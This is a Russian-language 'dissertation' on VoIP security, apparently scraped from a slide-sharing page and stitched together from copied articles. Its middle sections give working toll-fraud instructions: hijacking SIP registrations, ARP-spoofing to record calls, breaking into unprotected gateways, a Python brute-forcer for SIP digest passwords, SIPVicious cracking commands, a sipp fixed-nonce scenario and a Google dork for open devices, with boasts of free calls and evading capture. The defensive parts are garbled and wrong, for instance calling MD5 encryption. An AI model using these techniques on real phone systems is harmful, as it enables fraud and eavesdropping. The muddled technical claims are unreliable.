Методы современных кибепреступников
Методы современных кибепреступниковМетоды современных кибепреступников
Методы современных кибепреступников
 
Обеспечение доступности инфраструктуры корпоративных сетей
Обеспечение доступности инфраструктуры корпоративных сетейОбеспечение доступности инфраструктуры корпоративных сетей
Обеспечение доступности инфраструктуры корпоративных сетей
 
Как взломать телеком и остаться в живых. Сергей Гордейчик
Как взломать телеком и остаться в живых. Сергей ГордейчикКак взломать телеком и остаться в живых. Сергей Гордейчик
Как взломать телеком и остаться в живых. Сергей Гордейчик
 
Vpn
VpnVpn
Vpn
 
История из жизни. Демонстрация работы реального злоумышленника на примере ата...
История из жизни. Демонстрация работы реального злоумышленника на примере ата...История из жизни. Демонстрация работы реального злоумышленника на примере ата...
История из жизни. Демонстрация работы реального злоумышленника на примере ата...
 
Тенденции киберугроз. Что необходимо знать?
Тенденции киберугроз. Что необходимо знать?Тенденции киберугроз. Что необходимо знать?
Тенденции киберугроз. Что необходимо знать?
 

Dissertaziya

  • 1. ДИССЕРТАЦИЯ Тема: защита VoIP телефонии от прослушки со спутников . 11 миллионов евро ущерба от деятельности VOIP хакеров VoIP телефония – наиболее распространенная и развивающаяся область. Количество пользователей VoIP телефонии с каждым годом увеличивается. Тема взлома VoIP-шлюзов звучит не так уж и часто. Даже если посмотреть последние хакерские конференции, то мода на эту тему немного поутихла. Вместе с тем в Сети есть немало людей, которые хорошо разбираются в теме и умеют эти навыки монетизировать. Показательным примером стала недавняя история про двух румынских хакеров Каталина Злейта и Кристиана Сиювата, которые сумели заработать на VoIP более миллиона евро. Используемые подходы были не слишком замысловатыми. Парни сканировали диапазоны IP-адресов с extension'ами, которые имели слабые пароли. Наверное, никто бы этого и не заметил, если бы они просто использовали полученные аккаунты для бесплатных звонков. Но ущерб от их деятельности составил примерно 11 миллионов евро. Как?! Как гласят документы следствия, изначально парни ограничивались бесплатными звонками в различных направлениях. Но аппетиты, как известно, растут, и ребята быстро смекнули, как можно это монетизировать. За два года они сделали более 23 500 звонков (это 315 000 минут) на платные номера, предлагающие за денежку самые разные сервисы (прежде всего справочного типа). Прибыль получалась от участия в партнерских программах с провайдерами этих самых платных номеров. Была получена первая прибыль. Осознав, что вдвоем заработать много не получится, была создана специальная компания Shadow Communication Company Ltd. С этого момента бизнес вышел на совершенно новый уровень. Нанимая людей и реализовав для сотрудников удобный интерфейс (в нем, к примеру, отображались цены для звонков на платные номера и специальные условия вроде ограничения по количеству выполненныхзвонков в день), они сумели достичь совершенно новых вершин. Более того, была организована компания, которая сама предоставляла возможность регистрации платных номеров, а для более эффективной работы — система рефералов, стимулирующая активность. Теперь уже становится ясно, откуда взялась такая баснословная сумма ущерба для честных пользователей VoIP. Силами Shadow Communication Company было совершено 1 541 187 несанкционированныхзвонков — это 11 094 167 минут разговора. Не удивляйся таким цифрам: это подсчет из логов, предоставленныхVoIP-провайдерами. Сейчас по делу проходят 42 человека в разных городах Европы. Есть определенные протоколы, которые используются для VoIP телефонии. H263, определенный в RFC2190 и 2429 – один из существующих стандартов. Он накладывается на транспортный протокол реального времени(Real Time Protocol), RFC1889 – стандарт, применяемый в интернете и определенный как RFC1889 , в основе которого лежит UDP (User
  • 2. Datagramm Protocol) - протокол пользовательских дейтаграмм - не имеющий состояний протокол. H263 - поддерживает видео сжатие для видео конференций и видео телефонных приложений. RTP обеспечивает в IP-сетях доставку адресатам аудио- и видеопотоков в масштабе реального времени. UDP – это транспортный протокол для передачи данных в сетях IP без установления соединения. Особенности протоколов VoIP и потоковой трансляции медиа – данных. Основные свойства: - У них нет встроенной аутентификации - Отсутствует встроенное шифрование - Накладываются на UDP Виды атак: 1. dDoS (Denial of Service) атака – атака посредством добавления пакетов. Большинство протоколов основано на RTP , который использует UDP- протокол как базовый. Хакеры добавляют пакеты в UDP, если они знают порты сессии и адреса IP. 2. Сниффинг – сессии VoIP легко могут быть перехвачены, а затем воспроизведены, т.к. у них нет шифрования ARP(Address Resolution Protocol). ARP – атаки подразумевают фальсификацию ответов на ARP сообщение. ARP протокол используется для получения MAC (объяснение) – адресов. Возможные решения: 1. а) использовать H263. Сессия H263 – взломана б) тунеллировать (объяснение) VoIP через виртуальную локальную сеть Недостатки : виртуальную локальную сеть увеличивает время передачи ожидания отклика Интернета , следовательно требуется большая скорость. 2. Положиться на отдельную для любого продукта аутентификацию
  • 3. Недостатки : аутентификация не входит в стандарт 3. Настройка клиент-сервера так , чтобы он допускал соединения и участие в сессии только для определенных пользователей. Недостатки: ограниченное число пользователей и возможность человеческого фактора. 4. Обезопасить интернет-серверы, чтобы хакеры не взломали сервер с помощью других методов. Недостатки : фактически нет безопасных серверов , или их разработка стоит больших затрат. Приведем схему протоколов, используемых в VoIP телефонии: Есть также следующие кодеки: Speex iLBC 30ms iLBC 20ms GSM G.726-32
  • 4. Предложим следующее решение проблемы: Использовать шифрование данных на уровне кодека G.711 и на уровне RTP и UDP протоколов. Мы используем алгоритм шифрования MD5. Предполагается шифровка связи для VoIP телефонов. 1. Хакерские атаки– почемуи как. В век использованияИнтернет всемкрупнымфирмамиконцернамугрожаютхакерские атаки. Серверануждаютсяв сильнойзащите. Существуют5 видов атак: 1. DistributedDenialof Service атаки - обычнонацеливаютсянасеть черезтрехслойныесистемы - цель- достичьоткрытые портыиподсоединитьсяв сеть илисистему - они взламываютсетьчерезпотокзапросови обнаружение ipадресовиделают перезагрузкусистемы - главная cистемаобычнолегковосстанавливаетсяпосле таких атак 2. Троянские кони - софт маскируетсяпод нечтодругое ивнедряется в систему - в нем либосодержится*back door*(позволяетдругимвойтив систему и сделатьто,что они хотят,покавы пользуетесьвашимсофтом) или*trigger* (устанавливаютсебяв off когда триггерится,даже по дате или времениилисериисобытий etc и ваша система будетнакрытаили атаковатьдругие компьютеры,м.б.частью DDoSатаки) - SpyWare- наименее вредоноснаяверсия - труднадля обнаружения 3. Вирусы - более общее - первичное делоэторепликацияиразмножение самогосебяи затем разрушитьи атаковать хостовуюсистему 4. Веб-сайты Злокачественныесайты,которые используютизвестные дыркивсистеме,чтобытриггеритьваш веббраузер, чтобызаставить неправильнофункционироватьсистему(напримерстараяверсия ActiveX имеетдыру,котораяпозволяетсодержимомувлюбойоднойпапке или директориина вашемжесткомдиске аплоадитьавтоматическивебдиректориюилипослатьемайл получателю) 5. Черви
  • 5. - этопотребление ресурсовдотех порпока,системав конце концов не перезагрузитсяине рухнет - комбинацияDDos и вирусных атак - обычноразмножаетсятак часто,как возможно, чтобыраспространитьсятакширококак они могут - обычностроитсядля определенноготипасистемы(дальше простонепонятночтоониимелив виду, извините) - общая цель– этонаибольшие системы( корпоративные сетии etc) ; строящиесячтобы перезагрузитьданные ифильтроватьсяпод неавторизованнымпользователем(например корпоративное spies) - например SobigиMydoom На данный момент VOIP телефонияподвергаетсяпокрайнеймере 2 атакам– DDos и ARP Есть разработанные продукты,которые продаютсявкомплексе.Рассмотримодиниз таких продуктов. 1. Protocols(IP,H.323,SIP,SCCP); 2. NetworkInfrastructure (Routers,Switches,Firewalls) 3. OS (Windows,Linux ,AIX) 4. IP PBX/ManagementServer 5. IP Phones 6. SoftPhones Существуютнескольковидоватак. a) dDoS b) Remote Compromise c) Worms d) Viruses Составим таблицуслабых мести атак. 1. – a) 2. – a) b) c) 3. - a) b) c) d) 4. - a) b) c) d) 5. - a) b) c) 6. - a) b) c) d) VOIP телефонпомимо dDoSатакчасто подвергаетсятакже ARP атакам.
  • 6. Дадим краткуюсправку,чтотакое ARP атаки. ARP атаки – address resolution protocol –протокол , имеющийinternetprotocol IPv4, карту IP сетевогоадреса. Hardware addresses использует datalink protocol. ARP имитирует соединение.ПробкачерезARP man-in-the-middle атаки.Любойчеловекможет shadowVOIP телефонные звонки.
  • 7. Постановка задачи Защита VOIP телефонииотхакерских атак. Решение 1) Protocols -> должнобытьтолько httpsсоединение 2) Network Infrastructure ->firewall 3) OperationSystem Windows ->Kaspersky 4) IP PBX/ManagementServer Длязащиты мини –атс предлагаюследующуюмногослойнуюсистему. a) Windows – dDoSатаки - ARP атаки Длязащиты Windows – KasperskyAntivirus b) На Windows ставится VMWare (бесплатная) илиParallels (платная) c) На VMWare ставится LINUX d) И уже на LINUX ставится Asterisk.(МиниАТСдляVOIP телефона)(СПРЯТАТЬСИСТЕМУВ СИСТЕМЕ) 5) IP Phone 6) SoftPhones 5) 6) IP telephone->Защита на уровне кодековG.711, на уровне RTP и UDP протоколов-> Mobile telephone Цель этой статьи - обсудить две самые распространенные атаки на VoIP. Первая демонстрирует возможность перехвата VoIP соединения и последующего общения вместо жертвы, вторая - возможность подслушивания. По мнению экспертов такие виды нападения станут наиболее распространенными с дальнейшим развитием VoIP. SIP Session Initiation Protocol (RFC 3261) - стандарт, используемый в VoIP для установления и разрыва связи (в данном примере используется именно он, хотя есть еще и другие сигнальные протоколы - RAS (Registration, Admission, Status), SCTP). На рисунке показаны сообщения, которыми обмениваются пользователи в процессе звонка.
  • 8. В первом шаге устройство пользователя (User Agent) регистрируется в доменном регистраторе, ответственном за содержание базы данных всех подписчиков домена. Регистрация в VoIP обязательна так как обеспечивает поиск и контакт с удаленным клиентом. Когда пользователь Б хочет соединиться с пользователем А, он посылает INVITE запрос прокси-серверу. Прокси-сервер в данном случае отвечает за роутинг SIP сообщений и обнаружение участников. Когда прокси сервер получает INVITE запрос от клиента, он пытается определить местонахождение другого участника и выполняет ряд других шагов, докладывая всю информацию (типа DNS запросов и SIP сообщений) звонящему. Как мы увидим дальше, перехват регистрации возможен именно в ходе регистрации устройства в первом шаге. Перехват регистрации Перехваченный пакет показывает правильную регистрацию и ответ от SIP регистратора, который сообщает о готовности пользователя к контакту. В запросе типа REGISTER поля From и To должны совпадать, из запроса так же видно, что регистрация истекает через 60 секунд, а в поле Contact так же указывается SIPS URI, который указывает на прямой путь к устройству, обычно составляемый из имени пользователя из FQDN (fully qualified domain name). Запрос REGISTER содержит заголовок Contact, показывающий IP адрес пользовательского устройства (будь то железный телефон или программа). Когда прокси получает запрос на обработку входящего звонка (INVITE), он выполняет lookup запрос для идентификации где целевой пользователь может быть обнаружен. В данном случае пользователь с номером 201-853-0102 может быть найден на IP адресе 192.168.94.70. Прокси форвардит INVITE запрос на этот адрес, как видно - на порт 5061. Этот порт зарезервирован за SIPS и в данном случае это нарушение стандарта, описанного в RFC 32610. Дальше мы показываем модифицированный REGISTER запрос, посылаемый атакующим. Очевидно, что все поля заголовка остались теми же самыми, за исключением поля Contact, который теперь указывает на адрес атакующего (192.168.1.3).
  • 9. REGISTER запрос посылается на SIP службу регистрации по адресу 192.168.1.2. Для этого используется утилита SiVuS, скриншот ее можно видеть ниже, а саму ее легко скачать отсюда: http://www.vopsecurity.org/html/tools.html. Таким образом перехват работает так: 1. Устраняем пользовательскую регистрацию. Этого можно добиться: - DoS атакой - устранением записи (эта атака не рассматривается в этой статье) - генерацией повторяющихся REGISTER запросов с коротким промежутком (например, каждые 15 секунд) для перезаписи легитимных пользовательских запросов (в том случае, если регистрация происходит через интервалы времени, ты должен будешь перерегистрироваться всякий раз после регистрации уязвимого клиента) 2. Посылаем REGISTER запрос с нашим адресом. На этом рисунке приведен пример такого нападения:
  • 10. 0 - DoS атака 1 - регистрация пользователя 2 - запрос на начало сессии 3 - прокси - запрос домена и роутинг 4 - прокси - запрос пользователя (SIP прокси получает IP адрес хакера) 5 - прокси-прокси - соединение пользователей 6 - ответ абонента 7 - прокси форвардит ответ - соединение создано и поток медийные данные передаются между телефонами Атака возможна из-за следующих причин:  Сообщения посылаются в открытом виде, что позволяет хакеру перехватывать их, изменять и отвечать на них.  Текущая реализация сообщений SIP не поддерживает контроля содержания, что позволяет его модификацию и невозможность обнаружения этого. Продолжаем наш рассказ о взломе VoIP. В прошлый раз мы рассмотрели ситуацию с перехватом сессии, когда мы представляемся клиентом и получаем всю информацию. В этот раз объясним как осуществить "прослушивание" данных, передающихся в VoIP. Данная а Прослушивание Перехват данных VoIP несколько отличается от традиционного захвата данных в сети, но общая концепция остается той же самой. Прослушивание требует перехвата пакетов установления связи и ассоциированного медийного потока. Сигнальные сообщения используют другой сетевой протокол (UDP или TCP) и порт, отличный от самой передачи данных. Медиа поток обычно передается через UDP с использованием RTP (Real Time Protocol). Для перехвата потока данных можно использовать любой снифер, например все тот же Ethereal. Система выглядит таким образом:  Перехватить и декодировать RTP пакеты (опция Analyze -> RTP-> Show all streams)  Проанализировать сессию - собрать пакеты (просто выбрав поток)  Сохранить поток (сохранить адуио файл (.au), содержащий голос, ) Можно возразить, что такой алгоритм не действует в IP сетях, разделенных свичами, которые не транслируют трафик на всю сеть, а доставляют прямо абоненту. Это, конечно, верно, однако и тут существует решение - любимый нами всеми ARP-спуфинг и атака класса man-in-the-middle. Рассматривать в этой статей ARP-спуфинг я думаю смысла не имеет, мы много раз в подробностях рассказывали о таком нападении. Встряв между звонящим пользователем А и принимающим звонок пользователем Б хакер и получает возможность сохранить все общение себе на диск. есте6венно существуют утилиты, которые совмещает в себе все возможности - это, например, снифер Cain&Abel (http://www.oxid.it/cain.html).
  • 11. Он может осуществлять как атаку класса MitM, так и захват VoIP трафика. Мораль Эта атака так же возможна из-за передачи данных по сети в незашифрованном виде - пакеты установления связи передаются открытым текстом, а медийный поток может восстановить любой перехвативший. В качестве защиты можно посоветовать использовать TLS (Transport Layer Security) для защиты SIP сигналов и SRTP (Secure Real Time Protocol) для защиты голоса. К сожалению провайдеры VoiP пока не спешат с внедрением такой защиты уповая на волю случая.. Сегодня мы будем развивать интересное умение — поиск шлюзов IP-телефонии и их эксплуатацию. Так, чисто из любопытства. Вполне вероятно в результате мы получим полноценный плацдарм для наших хакерских опытов и, конечно же, безлимитный телефон. С чего все начиналось На тему астерисков и подбора паролей к ним написано очень много статей. Люди в теме наверняка слышали про набор утилит sipvicious, а многие их даже уже попробовали. Однако, когда ты сканируешь сеть при помощи svmap.py (скрипт входит в вышеупомянутый комплект), то в Сети помимо астерисков находятся различные VoIP- железки, как то: Cisco, AddPac, Linksys и так далее. Как правило, у них есть собственный web-интерфейс. И если ты думаешь, что он запаролен, то ты, наверное, прав. Но не всегда :). У Linksys по умолчанию нет пароля на web-интерфейсе. А зря, ведь многие их железки могут быть доступны извне. Осваиваемся Переходим к практике. Просканировав пару подсетей, я нашел VoIP-телефон SPA-841. Судя по IP-адресу, он находится в Перу, а конкретнее — в городе Лима. Я зашел на этот телефон, и оказалось, что внутри не выставлен ни пользовательский пароль, ни админский, а значит, с VoIP-телефоном можно делать что угодно. На телефонах Cisco-500 во вкладке "Voice -> Phone" существует поле "Text Logo". И его довольно легко поменять. Например, на ряде штатовских шлюзов я проставил фразу "from Russia with Love" и она отображалась на дисплее VoIP-телефона :). Как правило, после этого у железки сразу же менялся IP (либо на web все-таки ставили пароль), и у меня пропадал к ней доступ. Но было и такое, что заставка провисела на телефоне две недели, хотя вызовы совершались каждый рабочий день. В среде администрирования можно сменить параметры интернет- соединения, тогда шлюз совсем перестанет работать. Можно его запаролить, переименовать любые контакты... В общем, на что хватит фантазии. Но это все
  • 12. ребячество. Как же из такой находки получить реальную пользу? Через web, например, я вижу, где регистрируется шлюз, какой у него username и auth id (если есть), но не знаю пароль. Первым делом проверяю, не используется ли пароль, равный логину. Это можно сделать, вбив данные в сип-клиент. Обычно отображается ошибка 403 (пароль не подходит), однако даже в этом случае еще не все потеряно. SIP-регистрация Рассмотрим, как происходит процесс SIP-регистрации. Изначально клиент отправляет на Softswitch (например, Asterisk) запрос "REGISTER", в котором нет пароля, а есть только contact. В ответ приходит сообщение "401 Unauthorized", в котором указано, что нужно пройти "Digest access authentication". В присланном сообщении сгенерированы nonce и realm. Используя nonce и realm (полученные от сервера), пароль и username (прописанные на шлюзе), а также digesturi, шлюз генерит md5-хэш — response — и отправляет все это обратно на Softswitch, который проверяет присланные данные. Если они верные, то возвращает 200 ОК, если нет — снова 401. Получается, если достать дамп регистрации, то у тебя окажутся все данные, кроме пароля, а его можно будет подобрать. Для этого устанавливаем астериск, заводим в нем единственный peer, вбиваем username, как на шлюзе, и прописываем любой пароль. Затем применяем настройки. Простейший пир из /etc/sip.conf: [peru] type=friend username=*username со шлюза* secret=helloworld host=dynamic disallow=all allow=alaw allow=ulaw Далее я запускаю на астериске команду tshark с фильтром по порту 5060 и записью дампа в файл: tshark port 5060 -w /tmp/001.pcap. Затем, зайдя на шлюз, меняю значение Proxy на IP-адрес астериска и жму "Submit all Changes". Когда у меня на часах 10 утра, то в Перу 2 ночи, так что работать со шлюзом очень удобно — можно не опасаться, что перезагрузка шлюза привлечет чье-то внимание. После того как шлюз ребутнулся, в tshark'e ловятся четыре пакета, что означает получение всех необходимых данных. Затем я возвращаю прежнее значение Proxy и снова применяю настройки. Подбор пароля Далее я открываю дамп (например, при помощи Wireshark). Там нахожу пакет REGISTER с response — теперь все данные есть, и дело за малым — написать скрипт для подбора пароля. Кстати, можно ловить данные и в консоли астериска, для этого набираем в CLI "sip set debug on" и смотрим содержимое пакетов. Ввиду того, что скрипт, при помощи которого был найден шлюз, писался на питоне, я решил не отступать от традиции и написал очередной сценарий также на питоне. В нем мне нужно перебирать весь алфавит. Для этого я использовал готовый класс — он решает проблему с генерацией всех возможных вариантов пароля и позволяет задать алфавит для перебора (то есть искать только среди цифр, строчных букв и любых их сочетаний). А также задать длину пароля, начальное и конечное его значения.
  • 13. Запрос на регистрацию в Wireshark #!/usr/bin/python import md5 # подключаем библиотеку, которая будет генерить md5-хэш # дальше идет класс для подбора пароля EN = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" # перечисление алфавитов en = "abcdefghijklmnopqrstuvwxyz" digits = "1234567890" space = " " p = ",.-!?;:'"/()" op = "+-*/:^()><=" all_spec = "'~!@#$%^&amp;*-_=+|/?.&gt;,>'";:[]{}" class ABCIterator: # ... здесь следует класс, спертый из интернета :) # ... # класс закончился, переходим к вводу данных u=(raw_input('username >> ')); b=(raw_input('realm >> ')); m=(raw_input('method >> ')); d = (raw_input('digestURI >> ')); r = (raw_input('response >> ')); n = (raw_input('nonce >> ')); print u,b,m,d,r,n; ha2= md5.new(m+":"+d).hexdigest(); # генерим часть ha2 — она будет использоваться для хэширования response=0; ch=0; # в эту переменную будет сохраняться # порядковый номер пароля for i in ABCIterator(start_len=1, stop_len=8, abc=digits+en):
  • 14. # указываем, что длина пароля начинается с 1, # заканчивается на 8, # и при переборе используются # цифры и буквы нижнего регистра ch = ch+1; if ch % 500000 == 0: print i; # это позволяет выводить на экран только каждый 500000-ый # вариант пароля ha1 = md5.new(u+":"+b+":"+i).hexdigest(); response = md5.new(ha1+":"+n+":"+ha2).hexdigest(); # хэшируем if r == response: # сравниваем хэш с полученным от шлюза print "------------------>", i; # если они совпадают, выводит пароль и прекращаем поиск exit(0); Как брутят SIP-аккаунты? Многие атаки на VoIP сводятся к поиску неправильно настроенныхPBX (private branch exchange) или, по-русски говоря, офисных АТС. Различного рода сканирования, анализ и подбор паролей чаще всего осуществляются с помощью упомянутого в тексте статьи набора скриптов SIPVicious, написанныхна Python'е и работающих под разными ОС. Чтобы лучше понимать материал, вспомним, как осуществляются основные действия на простом примере. 1. Сканирование диапазона подсети (пусть это будет 192.168.1.1/24), чтобы найти BPX. [you@box sipvicious]$ ./svmap 192.168.1.1/24 | SIP Device | User Agent | --------------------------------------------- | 192.168.1.103:5060 | Asterisk PBX | Если верить результатам, то АТС найдена на IP-адресе 192.168.1.103, а работает она на базе Asterisk PBX. 2. Поиск extention'ов (грубо говоря, виртуальных номеров) на найденной АТС. Эти аккаунты можно будет использовать для осуществления звонков. [you@box sipvicious]$ ./svwar.py 192.168.1.103 | Extension | Authentication | ------------------------------ | 123 | reqauth | | 100 | reqauth | | 101 | noauth | Итак, найдено три номера. Мы видим, что номер 101 не требует авторизации. А для 100 и 123 необходима авторизация. 3. Подбор пароля, подставляя числовые значения (они используются более чем часто): [you@box sipvicious]$ ./svcrack.py 192.168.1.103 -u 100 | Extension | Password | ------------------------ | 100 | 100 | Для extention’а "100" пароль подобран! 4. Подбор пароля с использованием словаря:
  • 15. [you@box sipvicious]$ ./svcrack.py 192.168.1.103 -u 123 -d dictionary.txt | Extension | Password | ------------------------ | 123 | secret | Есть пароль и для номера 123! Вот так просто мы нашли АТС, рабочие аккаунты и подобрали для них пароль. Злоумышленник может подставить найденные логин-пароль в свой SIP-клиент (например, X-Lite) и осуществить звонки. Пароль найден Итак, скрипт отработал и подобрал пароль, а значит — можно прописывать данные в астериск и думать, что регистрация прошла успешно. Новый халявный транк для звонков на Кубу готов :). Вообще технологию можно доработать, ведь каждый раз перебирать пароль нецелесообразно. Имея доступ на шлюз, можно менять не только значение Proxy, но и username. Если найденные шлюзы регистрировать всегда на одном и том же сервере, то realm всегда будет asterisk, а digesturi — не меняется. Это значит, что достаточно научиться всегда отправлять в ответ на REGISTER сообщение 401 с постоянным nonce. Тогда можно составлять свою таблицу с хэшами паролей, так как все параметры от шлюза к шлюзу будут одинаковые (кроме пароля). Нужно перебирать все возможные пароли с постоянными realm, digesturi, username, метод — REGISTER, nonce и сохранять в базу соответствие "пароль-response", причем для каждого нового шлюза только делать выборку по response и сразу находить пароль. Затем генерить в ответ на регистрацию пакет 401 с одним и тем же nonce (это может программа sipp). Если составить такую базу данных, то можно открывать сервис по восстановлению забытых на шлюзах паролей для регистрации, вот только база получится слишком объемной :). Чтобы отвечать на REGISTER шлюза в sipp, надо использовать сценарий. Cценарий для sipp — nonce.xml: <?xml version="1.0" encoding="ISO-8859-1" ?> <scenario name="register"> <recv request="REGISTER"/> <send> <![CDATA[SIP/2.0 401 Unauthorized Via: SIP/2.0/UDP [local_ip]:5060; branch=[branch];received=[remote_ip] From: *username со шлюза* <sip:*username со шлюза*@*ip c Asterisk*> To: *username со шлюза* <sip:*username со шлюза*@*ip c Asterisk*> Call-ID: [call_id] CSeq: [cseq] REGISTER Server: Asterisk PBX 1.6.2.13 Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO Supported: replaces, timer WWW-Authenticate: Digest algorithm=MD5, realm="asterisk", nonce="17852b0a" Content-Length: [len] ]]> </send> </scenario> Благодаря опции <recv request="REGISTER"/> sipp отправит наш "магический" пакет только когда придет запрос на регистрацию. Останавливаем астериск, чтобы он не отвечал на запросы со шлюза, затем создаем сценарий и из этой же папки запускаем sipp: sipp -sf nonce.xml *ip шлюза* -i *ip c Asterisk* -trace_msg -l 10 -r 1 -rp 1000 Запускаем tshark с записью в файл и пробуем зарегистрировать шлюз. Открываем дамп и снова видим все данные, которые требуются для перебора.
  • 16. Добытые данные можно использовать для подложной регистрации на сервере, даже не подбирая пароль, но это уже тема для другой статьи. Вот такой незамысловатый способ обеспечить себя бесплатными звонками, если повезет — то в любую точку мира, а если сильно повезет (или если использовать меры предосторожности), то еще и никогда не поймают :). Info На самом деле, незапароленные шлюзы можно искать и при помощи Google. Если в поисковом запросе ввести intitle: "Sipura SPA Configuration", то найдется немало шлюзов Линксис, на которых не выставлен пароль. Кодеки Существуютследующие кодекидля VoIP телефонии: Под кодеками,как правило,понимаютразличные математические модели,используемые для цифровогокодирования (исжатия) аналоговойаудиоинформации.Многие из этих моделей учитываютспособностьчеловеческогомозгаформироватьзаконченное впечатление понеполной информации.Все мы виделиоптические иллюзии;точнотакже алгоритмысжатия голоса используютнашуспособностьпредставлятьто,что,как нам кажется,мы должныслышать,а не то, что мы фактическислышим.Цельразличных алгоритмовкодирования –обеспечитьбалансмежду эффективностьюикачеством3.Изначальноподтермин«кодек» был образованотслов КОдер/ДЕКодер –этоустройство,которое выполняетпреобразованиямеждуаналоговыми цифровым сигналом.Теперьэтоттермин,кажется,больше относитсякпонятиям КОмпрессия/ДЕКомпрессия. G.711 – основнойкодекPSTN.В сущности, приупоминанииИКМв связи с телефоннойсетью можно смелоиметьв виду G.711. Используетсядва методакомпандирования:μlaw в Северной Америке иаlawво всем остальноммире.Любойиз них обеспечиваетпередачу8-битовогослова 8000 раз в секунду.Если произвестивычисления,можноувидеть,чтоэтопотребуетпередачи64000 бит/с. Многие скажут вам, чтоG.711 – это кодекбезсжатия. Это не вполне так, поскольку компандирование считаетсяформойсжатия. На самом деле G.711 являетсябазовым кодеком,от которогобылипроизведенывсе остальные.G.711налагаетминимальную(практическинулевую) нагрузкуна ЦП. G.726 Этоткодек активноиспользовалсянекоторое время(егоназывалиG.721, но сейчас он вышел из употребления) иявляетсяоднимиз исходных кодековсо сжатием. Эта технология известна как адаптивнаядифференциальнаяимпульсно-кодоваямодуляция(Adaptive Differential Pulse-Code Modulation,ADPCM),онаобеспечиваетразнуюскоростьпередачиданных.Чаще всего используютсяскорости16, 24 и 32 Кбит/с.На моментнаписанияданной книги Asterisk поддерживалатолькоADPCM-32,несомненно,самуюпопулярнуюскоростьпередачиданных для этогокодека. G.726 предлагаеткачествопрактическитакое же,каку G.711, но используеттолькополовину полосыпропускания.Этовозможнопотому,чтоонотправляетне результатизмерения,атолько достаточнуюинформациюдля описанияразницы междутекущими предыдущимзамерами. G.726 потерял популярностьв1990-х годах из-за неспособностипередаватьсигналымодемаи факсов, но сейчас она вновьвозвращается благодаряобеспечиваемомуимсоотношению
  • 17. пропускнаяспособность/нагрузканаЦП.G.726 особеннопривлекателен,потомучтоне требуетот системыпроведениябольшогообъемавычислений. G.729A Учитывая,насколькомалуюполосупропусканияиспользуеткодекG.729A,он обеспечиваетвпечатляющее качествозвука.Делает онэтоза счеттехнологииConjugate-Structure Algebraic-Code-ExcitedLinearPrediction(CS-ACELP)1. G729A являетсязапатентованным продуктом,поэтомуегонельзяиспользоватьбезлицензии;однакоончрезвычайнопопулярени, соответственно,поддерживаетсямногимиразнымителефонамиисистемами. Чтобыдостичь такой значительнойстепенисжатия,этоткодектребуеттакойже значительной работыот ЦП.В системе Asteriskиспользованиекодековсбольшойстепеньюсжатиябыстро приводитк перегрузке ЦП.ДляG.729A требуетсяпропускнаяспособность8Кбит/с. GSM– самый любимыйкодекAsterisk.Онне обремененлицензионнымисоглашениями,как G.729A, и предлагаетпревосходнуюпроизводительность,еслиучитыватьтребования,которые он предъявляеткЦП.Качествополучаемогозвука,в общем,считаетсяниже,чемобеспечивает G.729A, но этопреимущественносубъективное мнение;обязательнопопробуйтеего.Скорость передачиданных GSM – 13 Кбит/с. Speex– это кодекс переменнойскоростьюпередачицифровых данных (variable bitrate,VBR).Это означает,чтоон можетдинамически менятьскоростьпередачиданных в ответна изменение условийсети.Он предлагаетсякакв узкополосном,такив широкополосномвариантах в зависимости от того,какого качествазвук требуетсяполучить(телефонногоилилучше). Speex –абсолютнобесплатныйкодек, лицензированныйповерсии Xiph.orgлицензииBSD.ВИнтернетедоступенпроект спецификацииSpeex.Больше информациио Speex можнонайтина его странице (www.speex.org).Speexможетиспользоватьсядляканаловсо скоростьюпередачиданных от2,15 до 22,4 Кбит/с благодаряегоспособности менятьсвою скоростьпередачиданных. iLBC (internet Low Bitrate Codec) - это СВОБОДНЫЙ кодек речи предназначенный для передачи речи по IP сетям. Этот кодек разработан для использования узкого частотного звукового диапазона речи и, как результат, требуется небольшая полоса пропускания канала 13.33 kbit/s, при кодировании речи порциями по 30 ms, и 15.20 kbps, при кодировании речи порциями по 20 ms. Кодек iLBC позволяет достичь не сильной деградации качества речи в случае потерь пакетов данных, которые происходят в канале связи из-за потерь или задержек IP пакетов. Возможности  Битрейт 13.33 kbps (399 бит, собранные в пакет размером 50 байт) при кодировании речи порциями по 30 ms и 15.2 kbps (303 бит, собранные в пакет размером 38 байт) при кодировании речи порциями по 20 ms  Качество выше, чем у кодека G.729A, высокая устойчивость к потерям пакетов  Сложность вычислений находится на уровне кодека G.729A  Кодек со свободными условиями лицензирования
  • 18. G.729 isan ITU standardcodec. Has two mainflavors:A and B, see the ITU G seriespage formore info. It offerstoll qualityspeechata reasonablylow bitrate of 8Kbps.However,itisa rather "costly"codecin termsof CPU processingtime,therefore some VoIPphonesandadapters(notablythe Linksys/Sipura/Ciscobrands) canonlyhandle one G.729 call (channel) ata time.Thiscan cause callsto fail if the userattemptsto use three-waycalling,orplace simultaneouscallsonbothlinesof atwo-line device,andG.729 isthe onlyallowedcodec. μ-lawalgorithm Compandingof μ-lawandA-lawalgorithms The µ-law algorithm (often u-law, ulaw, or mu-law) is a companding algorithm, primarily used in the digital telecommunication systems of North America and Japan. Companding algorithms reduce the dynamic range of an audio signal. In analog systems, this can increase the signal-to- noise ratio (SNR) achieved during transmission, and in the digital domain, it can reduce the quantization error (hence increasing signal to quantization noise ratio). These SNR increases can be traded instead for reduced bandwidth for equivalent SNR. It is similar to the A-law algorithm used in regions where digital telecommunication signals are carried on E-1 circuits, e.g. Europe. 
  • 19. Обзор алгоритмов Algorithm types There are two forms of this algorithm—an analog version, and a quantized digital version. Continuous For a given input x, the equation for μ-law encoding is[1] , where μ = 255 (8 bits) in the North American and Japanese standards. It is important to note that the range of this function is −1 to 1. μ-law expansion is then given by the inverse equation: The equations are culled from Cisco's Waveform Coding Techniques. Discrete This is defined in ITU-T Recommendation G.711.[2] G.711 is unclear about what the values at the limit of a range code up as. (e.g. whether +31 codes to 0xEF or 0xF0). However G.191 provides example C code for a μ-law encoder which gives the following encoding. Note the difference between the positive and negative ranges. e.g. the negative range corresponding to +30 to +1 is −31 to −2. This is accounted for by the use of a 1's complement (simple bit inversion) rather than 2's complement to convert a negative value to a positive value during encoding. Quantizedμ-lawalgorithm Implementation There are three ways of implementing a μ-law algorithm: Analog Use an amplifierwithnon-lineargaintoachieve compandingentirelyinthe analogdomain. Non-linearADC
